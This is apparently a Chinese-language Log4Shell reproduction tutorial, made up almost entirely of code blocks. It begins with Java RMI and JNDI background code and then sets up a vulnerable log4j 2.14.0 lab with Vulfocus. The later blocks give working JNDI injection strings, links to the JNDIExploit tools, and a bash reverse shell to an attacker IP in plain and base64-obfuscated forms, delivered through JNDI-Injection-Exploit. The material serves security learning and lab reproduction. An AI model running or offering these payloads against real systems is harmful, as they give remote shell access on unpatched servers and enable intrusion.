log4j漏洞复现及前置知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;
//1、先启动Register服务
public class RegServer {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(8000);//registry使用8000端口
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        CountDownLatch cd =new CountDownLatch(1);
        try {
            cd.await();//挂起主线程，否则应用会退出
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteIntF extends Remote {
    String sayHello(String from_the_out_side) throws RemoteException;
}
//----------接口实现类
import java.rmi.RemoteException;

public class RemoteImp implements RemoteIntF {
    public String sayHello(String name) throws RemoteException{
        return String.format("hello, %s!",name);
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
//2、启动RMI去连接Register服务，并将Name和存根stub 发送给Register服务
public class RMI {
    public static void main(String[] args) {
        RemoteImp remotehello = new RemoteImp();
        try {
            RemoteIntF stub = (RemoteIntF) UnicastRemoteObject.exportObject(remotehello,4000);//导出服务，使用4000端口
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000);//获取registry
            registry.bind("laotie",stub);//使用名字laotie，将服务注册到registry
        } catch (AlreadyBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//3、启动Client，连接Register服务，根据Name获取到对应存根，再通过存根调用sayHello(“from the out side”)
public class Client {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",8000);//获取注册中心引用
            RemoteIntF remotehello = (RemoteIntF) registry.lookup("laotie");//获取remotehello服务
            System.out.println(remotehello.sayHello("from the out side"));//调用远程方法
        } catch (RemoteException | NotBoundException e) {
            e.printStackTrace();
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
    <jndi-name>MySqlDS</jndi-name>
    <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
    <driver-class>com.mysql.jdbc.Driver</driver-class>
    <user-name>root</user-name>
    <password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
    <metadata>
       <type-mapping>mySQL</type-mapping>
    </metadata>
</local-tx-datasource>
</datasources>

1
2
3
4
5
6
7
8
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
/* 使用conn进行数据库SQL操作 */
......
c.close();

1
2
3
4
5
6
<dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>

1
2
3
4
5
6
7
8
9
10
11
12
13
package log2jfx;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j2Vul {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        logger.error("${jndi:ldap://xxing.org.cn}");
    }
}

1
2
3
4
https://github.com/feihong-cs/JNDIExploit
或者去
https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5

1
2
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 本地的ip地址/VPS地址

1
2
docker pull vulfocus/vulfocus:latest

1
2
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=192.168.9.90 vulfocus/vulfocus

1
2
3
4
${jndi:ldap://rgje7p.dnslog.cn}
//进行url编码
%24%7Bjndi%3Aldap%3A%2F%2Frgje7p.dnslog.cn%7D

1
2
3
4
5
6
//构造反弹shell命令
bash -i >& /dev/tcp/192.168.9.187/1234 0>&1 
//由于Runtime执行linux命令时管道符不生效，所以需要将命令进行加密
//加密方式见[原文链接](https://blog.csdn.net/yang1234567898/article/details/124255931)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTg3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

1
2
3
4
5
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"
//即
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTg3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.9.90"
//192.168.9.90就是运行这条命令得电脑IP

1
2
${jndi:rmi://192.168.9.90:1099/5q6nbt}